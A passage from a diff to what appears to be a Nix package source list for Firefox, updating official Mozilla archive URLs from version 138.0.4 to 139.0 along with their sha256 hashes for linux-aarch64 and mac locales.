+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/pt-PT/firefox-139.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "65198fdcd506cdce1ebebc62aed478963c6a76fcffc4192bdb8ff9ebb76cec09";
+      sha256 = "361b17fa3126b538306275e3d5db4960f39b03b14d5523bc5f2e94b4499338a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/rm/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/rm/firefox-139.0.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "62ba3142235cb406f7f578e4965a474f3d444571b7be68fd2df83ac12c02051a";
+      sha256 = "44fd5cb9c28e1f9b47a53f93a48cc0cbf7170f1bc7ed6df0a525dacce21d2359";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ro/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ro/firefox-139.0.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "dbd17c28ffc6a25fb19f949d42cd53f03821ad33d2c5d84a03951fd67247cf14";
+      sha256 = "7f6ddb020d87e822c77bbb05032fa91e06d3bd1e498ec85ca0ac1a85f05c5230";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ru/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ru/firefox-139.0.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "5db4f48b841b99398d7b5a047c4a0a6554294beede94cc72e34b65ff064f809a";
+      sha256 = "245f4fc3e84275f860067c38812988b50cb23532b363b3b1d7e29ec5eafe47e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/sat/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sat/firefox-139.0.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "e7ae475b021caf8089d2d3515bdfc09aa7585f3f4b979f12642e10470e5503b6";
+      sha256 = "fa5eab80ee9ebe49c1bad208251559c3177b96e27f7423cf6d5aa4a4fa15c833";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/sc/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sc/firefox-139.0.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "00da6275dfa4fb2f72d863c78ccf79db0a57517ce89d722a8e8f1fc8df36febc";
+      sha256 = "7804b0b4dab0968c7cd718ebda9b4330ba4e962bb98e33859ef7ddeb0129a219";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/sco/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sco/firefox-139.0.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "5f9d55ccc869dbaf8c95b2fc7f3626899772d8449cdfd43745d884e629b80212";
+      sha256 = "213dd83bcbd93e4b7d81c954fd8593af7a375b545b33301fa68ff25413fb896a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/si/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/si/firefox-139.0.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "1c1ade479ca81755af6111d1f2b3a80d512e765b474d2b6bb1c600b8ea04be6f";
+      sha256 = "0b19480a1b87ee3826923b2f5efb1db1c0bfd934c3c7b8a0c3609ac4787c015f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/sk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sk/firefox-139.0.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "80853a3259dbe712369833ff0855f38d80e3c26a37d7141220457fea783cb22a";
+      sha256 = "af68908ce81f1d6731ed534ea1784de1027186263dea8c6af440397a723a7369";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/skr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/skr/firefox-139.0.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "50db394442325c6f81e59fe7ab12c802dea74422f3ff83cb9f5c16151a3e1fec";
+      sha256 = "81c29aaf0c119301d63b33e85576db660f42bc700ba10c844d9000595c1300ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/sl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sl/firefox-139.0.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "ec8e374d1966bb4d9d4e6494c021628ee0480ae67cfa5aa9fed627acb75794e0";
+      sha256 = "8966075d8d55201a2fd4f928e91585c47263472fd1fa4bc70ec272fbb0e65035";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/son/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/son/firefox-139.0.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "be76829cd68c41a4596890931041c29456672c12332b6e632efc1ee569195792";
+      sha256 = "7d4bbcd59a7a8f6d4a9cd85675892b576e89fc99216bac4b1a98b928839cd84c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/sq/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sq/firefox-139.0.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "d0879f857e49c55f706263ec6e9404dbae33de3f75ffa85f639bad82ce27b5a5";
+      sha256 = "0805ea05e33aa3c01549bca1b0397cae3517744d82ffa6ae17f3707165e69dd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/sr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sr/firefox-139.0.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "7d56046b0f581531ec3069f60b76fe18ba449699e35f8fed8da46a0f771139d5";
+      sha256 = "e6ab3c4571f8893ad91b5bd7fbf011bc00be7a10c326214c795ebcef8dfd35f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/sv-SE/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/sv-SE/firefox-139.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "fb84d18e0bdd0ded9333f1341c7f9f61cef941f633a12bdc4f0b6d00232b2004";
+      sha256 = "c02a1c78d3614d25414f5994369adaba10f458842c602db683bc143f99a11411";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/szl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/szl/firefox-139.0.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "cbe04b1d56bf8110ae66e14737b5858b4be28908cfccee775dbe3c90f9f7681f";
+      sha256 = "a74fb56af8d736a7a6b389d3ca4c216bbc6c6524b6a10b8d18b525044300bf97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ta/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ta/firefox-139.0.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "1d422d42c8583aa59d39969bf6ae46bc67fb278c5089f2c33a5a06021f23be18";
+      sha256 = "9eac04fe94386ac4d74f62fe53f857b18041ce51ac31081a50610fc64f827093";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/te/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/te/firefox-139.0.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "b38747300f986e5883376fe04392adfb4abea4bc727f4099c171d37d5d82b262";
+      sha256 = "fe24906668acbb6aacedcc3897fd3575fae9903d94fc89ea1cecfbdde1236f6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/tg/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/tg/firefox-139.0.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "9c10bb44c65ea59078e619f0d4ef13c70b434aced9339ce245a4af1d3600db26";
+      sha256 = "a5c33f74b40f337dee9aaf993151dd57c8a63eab73e555ad79733baf86a1d1c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/th/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/th/firefox-139.0.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "173ca4156591bd9c931e7fed09ee7d58594732eebae07caaf702a4cbfc4c3687";
+      sha256 = "cb2d32ca4d730349b39d41c9b4f38cd6c99998f1a14f8eb96fd0fefdcd2cf47c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/tl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/tl/firefox-139.0.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "04930b05b36942c0fa90d276eb95adc4f45712055f256e36b6cb690b9d456cd5";
+      sha256 = "9e16fed4c1609325834c82e1f8db882fe234cced384baaaf7722b87671d19388";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/tr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/tr/firefox-139.0.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "8a15df5f7c66afca6b21d414f0fd08e39b8ac9bf7f7737607a0bde4e65948ee5";
+      sha256 = "c29e52a35d014c23318290e01cf441750cdff11b31c6f350a3f4294fded7adbf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/trs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/trs/firefox-139.0.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "b1adf0b5166da1126adfdf3073c41ad236357b36d617082baecfa0a0c3a4626f";
+      sha256 = "8aef1a5c4d726a49b7b301e1f0d19a9a751979838f6a722d0dc28a995340e8d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/uk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/uk/firefox-139.0.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "3129acd8165b32acab6f753e85e8ff24776738f98db4a7a72f5036911204178a";
+      sha256 = "4d4c5206faf932386c1f83c3dc1517b850bb8b8146666fef383cae5467546a2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/ur/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/ur/firefox-139.0.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "63a965fbcc1f371b32daf0eb7e1c8064bad5ecbf93376ad9e7517a5c8b9d72c2";
+      sha256 = "ebdcf15f02bf66ad3654f9898f6d0b7f0f0b485e75b484f44deac122d2b42872";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/uz/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/uz/firefox-139.0.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "61b0a1fd5b4698c9b5a5ddcd86a22f865882ae56eb57f7db373a01bda1952ef6";
+      sha256 = "738bb8b3bbbf6252142e01f3db74e8aa271e409eaa9dc7852f6e58a7c407656f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/vi/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/vi/firefox-139.0.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "2432d574e0d5cf8272c545bfaeaf24e2c7ef4edb5b9442b7fe0af88e0f6f6cd9";
+      sha256 = "387e2698224d4878bfcc510c95a34c9ea6303196bdc95f45bbe57aebda108507";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/xh/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/xh/firefox-139.0.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "631a41c20c3644ed3b196d75a76cf241a7394d715c14a125eab0bc31fe0901a2";
+      sha256 = "a78be308305262a0248913ba7b21ed65fec39ff457fb88d0fa7d7bd67ef774df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/zh-CN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/zh-CN/firefox-139.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "1ffbb5d6af142590895c0101c89c29da6b9036bed3b410230cd98c855e947628";
+      sha256 = "e7ed9716c78e3e2c8c2f72363bcc9adc954b244b8c25a100085aa085869ee9de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-aarch64/zh-TW/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-aarch64/zh-TW/firefox-139.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "0fadff63ab9283345cac653b4892340037569a76226a54e1f7bbdf42f072a957";
+      sha256 = "d21c44a3fa0b566e91624bcb0e6b124a51e6c86fb53dccd6846aba86e187d585";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ach/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ach/Firefox%20139.0.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "3ac136a08c6b33b3e693a97933e77c8348fd5db8b36488b2f6602d609cc69cb0";
+      sha256 = "a6357f4080c8a98faf11e621897c3cb3c749f505a0bec523bf3b5bbefb8b46b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/af/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/af/Firefox%20139.0.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "d1672c1830c3d8d33637ff4586cc52bddd638847063360510146366b99c9d470";
+      sha256 = "1b100c791b6628086956327ecf1c623a6bdf2fa1a701c92ab7d2c8a8765cc1e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/an/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/an/Firefox%20139.0.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "712bfaeb51f59fd4c69d4e725fa8008d4ea75483b7d1c828ce297d3b53e3d3d2";
+      sha256 = "caa82a61738d36021993eda6c312fa9fb943cb7a3c7e0dba1e5df6e4f4a3b03a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ar/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ar/Firefox%20139.0.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "77209765a44b93a7a1cf2a535a5c2e73e04e23210ea5fe5d24a3d74104e6b19a";
+      sha256 = "46963b2e2b8ad1e906fc989447e0514d65763e9b346e13fd8b7c9c8f8173c1ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ast/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ast/Firefox%20139.0.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "a275d903df9cd40e1a83c6613004c462ac39974d9b750789e27956702c9948ba";
+      sha256 = "e7ff169426f6104a26485d0488235f7f42b113fd6667a1c82e6c5e5b5e789b49";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/az/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/az/Firefox%20139.0.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "51466148b09bf7055dcea0b8071c0f0499157475a97ffdfcb594d6bae09ef1d0";
+      sha256 = "c68978f5170e3107a508b302345bc5bcc3f510c2a838de96aabb6f8927b2c7f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/be/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/be/Firefox%20139.0.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "248e58e209f20af13d872e8b9b7345a325a7b5ade4660cea9562ca78f30b1ef9";
+      sha256 = "cfca77b6d7a053672eea8aa5dde841a9019579d6ecf7411d4da465a4c60da491";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/bg/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/bg/Firefox%20139.0.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "77f4828962223882f62948869ab54bee4fa645b93ad485d1057a4fc3fea80997";
+      sha256 = "2915812717cedc40501c3a17eb0b09ca7ba312d2cf8c92776edf783f02136b79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/bn/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/bn/Firefox%20139.0.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "d21174441d39618697ec7b83de3d04d6a2df29cb416949417652234c86659b98";
+      sha256 = "d4a1fc8df72b8ff77a62eaa0c3f916ca0b25f6bc4b51ff836f360cadc125f2af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/br/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/br/Firefox%20139.0.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "9f7cddfd91dc21d66ef6cddd90d84ffe51cf7c52950d9bf9352e5df867e314a2";
+      sha256 = "d391dc4fa735a71b9da271e8cc2b7ec3f89b403c02261868fbdf661e5c64a601";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/bs/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/bs/Firefox%20139.0.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "6f6655cd28b1b023e4d28237938fd5c71bb9010374026d645a68f30bef237594";
+      sha256 = "a477e30275ed45e1e8c555b7eb76d1416b91f125db3aa6001f140d6ec1a3f7d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ca-valencia/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ca-valencia/Firefox%20139.0.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "c9f59ecff31ac8e704209db62bc8d1c7863500f09c4643bf0648c738649f2af6";
+      sha256 = "2f29777e9295dd1b5e82201a1198a03993f406541b4584d314792f728b4be15c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ca/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ca/Firefox%20139.0.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "890f9404bf3a706b6cc814cf5ee24c6b1620882bf901b4f6e4bf01b0894afa47";
+      sha256 = "1cf4153f990de971b1bda9e8c4bd94ddd0dbc4861f4c0b87f865f4d98c4eb67d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/cak/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/cak/Firefox%20139.0.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "3a36b2c6866fb71b5603b1c9390ea0ec77d557569c86dcc3af8e290b8fe6956e";
+      sha256 = "34b3919d74ba1c39267a81ba30f86aafb47759bb0ed497a30bf5dfc6aea36db9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/cs/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/cs/Firefox%20139.0.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "7800f81448c466855025fac3b76f117137aa0992653893964e5d460cfd05e4e6";
+      sha256 = "2aea07c09067f4a2fec5e98580d24121f1581a55098bd37d0f8e9129e1f7239e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/cy/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/cy/Firefox%20139.0.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "2a451b589fc0f89e4739d17ff671cae547ca8d4fecf3bb9b7313a68e3c4b3b41";
+      sha256 = "327645c59b42c7e0ac6678ff4d78fe5f3cc33cd8cb01ace3377157eb8eaec999";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/da/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/da/Firefox%20139.0.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "f244f0155c3bd4b900962b900443a94baef1df4792ed900cbe4e8266af22b768";
+      sha256 = "82234dc856c0626c497a2e34b9a624d46e501d288c59f0b39abc5b9aa7cda4eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/de/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/de/Firefox%20139.0.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "55a4651a2ef01c88bb89319ac0b8a532b66ac435f821f206bda1171335858243";
+      sha256 = "c242aee361b4dcccc0614139b1213873fdbab65750181faf166a082110a023df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/dsb/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/dsb/Firefox%20139.0.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "a174edf43ab09f1548478782fe64fa961b0ebdfc6089078220a23740127077d2";
+      sha256 = "36e6a5369619ab2812345f4c8293d2a7ede6006e8b83fa662519a3d93b30faff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/el/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/el/Firefox%20139.0.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "9664a7020b5ad197ef7965796512ece13fc839009d6b7115460f43308fa77178";
+      sha256 = "c8e8a3f8c2ceefe4c8928cf15df83415f78c5566d1fa3e259806c3d41db61633";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/en-CA/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/en-CA/Firefox%20139.0.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "ea78c01cc2bf3a39f597098eb81b2a8c101c384b1be02addb7d7e54218eefd44";
+      sha256 = "01242a9c0bf1848c4c9eb1c974008fca69b01927ac4ee939b8e7711b0ca26f44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/en-GB/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/en-GB/Firefox%20139.0.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "5f732b8a0b7ae98612b347ecd5e3dfb31a025b79dfc8a72ee49cebaa09ceebc1";
+      sha256 = "9d72c3d1c9072e2a83a1e19c5ce48720e21cec66d9a38bcd2d566bef02b1e99e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/en-US/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/en-US/Firefox%20139.0.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "6842663f38b8b12b08b67239f0cc2118e93fa0b5b57e856c21f384fb501fb430";
+      sha256 = "03f1066b70b6e502c4f1a732a63f9f93146c6ea23d0af5e2e3a57d030e255353";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/eo/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/eo/Firefox%20139.0.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "2b8d00b7bf0db729c2d2175e7f80d3f8d672bc801ffe2500166a634a3f7e1083";
+      sha256 = "95d041e3c5294e8566eb7fda6b8560cea7d5d508ec1344736cc8bdcc3e60ba6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/es-AR/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/es-AR/Firefox%20139.0.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "98ffd41b5ff746df9ac64c6926b3c49b3cfac17a2dc1bd65d5f9141a4a62c9d2";
+      sha256 = "86dca1d4399e066258bf7cba393f8202a93f722c80623f72399066048fc1fdb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/es-CL/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/es-CL/Firefox%20139.0.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "5479fcaaf105665413ed706681a87c7ba0194bae9f2b56a9d8470c5ed479788b";
+      sha256 = "d816055a61e9b5c121e090bf27541f1020f4fdeed6e0114327c51ae96c44eeb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/es-ES/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/es-ES/Firefox%20139.0.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "d579e6f2ba06ee6baa118a7d30bd7478112bb15a2221f440ef61463ffabd337e";
+      sha256 = "08dc73a704063559cc1670884e17522f9d413b04d48dc5a08e4fb5e894ee3b02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/es-MX/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/es-MX/Firefox%20139.0.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "079211e592d4f881dab4a9c0b8d89a6645347a6e02c23a58f2ec688adc56b766";
+      sha256 = "4b51b375d7043bc98878afa4068e233ddae3d9a373113a6b9e96ef6fa493461e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/et/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/et/Firefox%20139.0.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "4bbcd47c07e4295514dda68b93426aab4b9c867bb490ecbeb805484f56dc3643";
+      sha256 = "3b9b60cf5b60c87346302bafb22efd1d2e1411b45a9208ff98d5cb4157bf8482";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/eu/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/eu/Firefox%20139.0.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "b037b07509886a2c07c6b03b68bf2d6a7471a2c42c5ee4158fa018afbd145ca7";
+      sha256 = "0fcf4d2d9301d5e38229ffe74b0b81d8461f0aa5d396b814e353ef72e746182e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/fa/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fa/Firefox%20139.0.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "8fe8c884d344fe9d5793636f1be2618c155b55a91dacc2108a19433f08c87fe3";
+      sha256 = "2c2ba07b86446ec5dea7c736dc10b4b10cfc4025825380b2a1b2bfdde5e6910e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ff/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ff/Firefox%20139.0.dmg";
       locale = "ff";
       arch = "mac";
